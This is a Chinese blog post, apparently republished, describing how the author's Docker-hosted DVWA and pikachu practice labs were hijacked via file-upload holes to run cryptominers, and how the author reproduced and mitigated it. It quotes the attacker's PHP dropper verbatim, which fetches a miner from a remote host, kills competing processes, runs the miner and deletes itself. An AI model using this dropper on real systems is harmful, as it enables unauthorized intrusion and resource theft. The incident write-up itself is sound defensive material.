服务器被入侵记录二则

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了服务器被入侵记录二则相关的知识,希望对你有一定的参考价值。

前言

之前闲着没事在阿里云用docker部署了三个老靶场,分别是sqli,dvwa,pikachu,方便他人使用学习

阿里云的警报

2021.6.10,阿里云给我发了一个短信提醒我疑似服务器被入侵,有挖矿行为
我想着难道是ssh爆破?难道之前安装的fail2ban服务失效了,上线一看,运行着,首先排除ssh爆破。
然后仔细回想了一下,也没有安装什么存在漏洞的版本的服务啊。
登陆了阿里云控制台,看到如下信息:

(上面的容器名是piakchu,是因为我重命名的时候打快了打错了,然后懒得命名回来了)
果然是靶场惹的祸,直接通过pikachu靶场文件上传漏洞getshell然后运行挖矿文件。
在我的固化思维里,docker容器与宿主机分离,还是相对安全的,你get了pikachu的shell也无所谓,之前也去了解过docker容器的逃逸,但是我的版本是没有逃逸的那个漏洞的,然后我就没有管它了。虽然不会被轻易渗透到宿主机,但是还是没想到会有人利用我的靶场来挖矿。

复现

为了弄清楚究竟是怎么一回事,随后去做了一个复现,这里用虚拟机做的:
docker拉的pikachu
通过pikachu的上传漏洞获取shell,上传的文件在宿主机以下目录:

/var/lib/docker/volumes/1fbe430ca6daba2068c719273fb0af52dd5b756b900b2957357bd3e0316cfe57/_data/vul/unsafeupload/uploads

通过蚁剑连接
ll查看权限(我的虚拟机是有icey这个普通用户的):

-rw-r--r--. 1 icey ftp 53 Jun 14 16:30 aa.php
-rwxr-xr-x. 1 icey ftp 19 Jun 14 16:37 sillage.sh

ll查看uploads目录的权限,是有执行权限的
执行whoami,为www-data,只有对/var/www目录的管理权:

可以运行一些脚本,但无法逸出容器对宿主机实行攻击(或许是我功力不够,有兴趣的读者可以自行折腾)
随后将uploads目录的执行权限去掉,通过蚁剑仍然能连接,但是已经无法执行脚本了

阿里云的警报又来了

2021.6.21,这天又收到了警报,有了之前的经验,也在我意料之中了
直接top命令查看,占用cpu资源最高的那个进程名tomcat就是挖矿程序,文件名是tomcat
几乎不用想,我就知道来自dvwa靶场的文件上传,被人getshell,然后运行了挖矿文件
我直接停掉了dvwa靶场,top再查看,tomcat进程也跟着没了
随后一波操作来到了dvwa靶场的上传目录:

[root@iZhp3661jqu8od84z9g4f8Z 08c916061cde7dbcbcb5b215d45e76e9ec3ed3cad8987ebbe519f0f8a8a8d34a]# find / -name tomcat
/etc/selinux/targeted/active/modules/100/tomcat
/var/lib/docker/overlay2/4fb773a023fedfefad7d586d7c118fb1468f109d4b4c531b46f475a608f553d8/diff/app/hackable/uploads/tomcat

与之前不同的是,这里不仅有tomcat挖矿文件,还有一个d.php,和config.json的文件
d.php内容如下:

<?php 
file_put_contents("tomcat", file_get_contents("http://XXXX.16:8088/public/controls/dhtmlx/skins/web/tomcat"));
file_put_contents("config.json", file_get_contents("http://XXXX.16:8088/public/controls/dhtmlx/skins/web/config.json"));
$x=system("ps axf -o \'pid %cpu\' | awk \'{if($2>=80) print $1}\'");
system("kill -9 ".$x);
system(\'ps -aux\');
system(\'chmod +x tomcat\');
system(\'./tomcat\');
system(\'rm -fr d.php\')
虽然没怎么学过php,但上面的命令还是能看懂大部分,最后一句是删除d.php,但是为什么没删除掉自身呢,我猜可能是括号后面少写了一个分号 里面留下了hacker的远程ip,来自中国河南,当时就来精神了,准备一波反*,第一步信息搜集,访问其web服务我就愣住了,这怎么看也不像是个私人的云服务器。这可能是个。。。 然后就关电脑睡觉了。

处理

最后呢把dvwa和pikachu靶场做了处理,首先建立docker数据卷(docker volume create pikachu),映射到相应容器(docker run -d -it --name=pikachu -p 9002:80 -v pikachu:/app area39/pikachu),方便管理,其次对靶场的上传目录修改权限,去除执行权限(chmod -R a-x uploads),我是直接生硬去除了所有用户的在该目录的执行权限,然后查看靶场,发现文件上传部分直接被搞废了,不能上传,提示权限有问题:

这样也好,省得他们是折腾了。

反思

不要有固化思维
文件的权限管理要精准把控,不给不法之人可乘之机

以上是关于服务器被入侵记录二则的主要内容,如果未能解决你的问题,请参考以下文章

记一次服务器被入侵,没想到我轻松搞定了它~

PHP的Git服务器被入侵,源代码被添加后门

智能手机 GPS 的可靠性如何?它可以被黑客入侵吗? [关闭]

Windows 2008 R2 系统被人入侵,删除了组策略,求系统日志ID

防止黑客入侵恶意操作的“伪技巧”

一次服务器被入侵的处理过程分享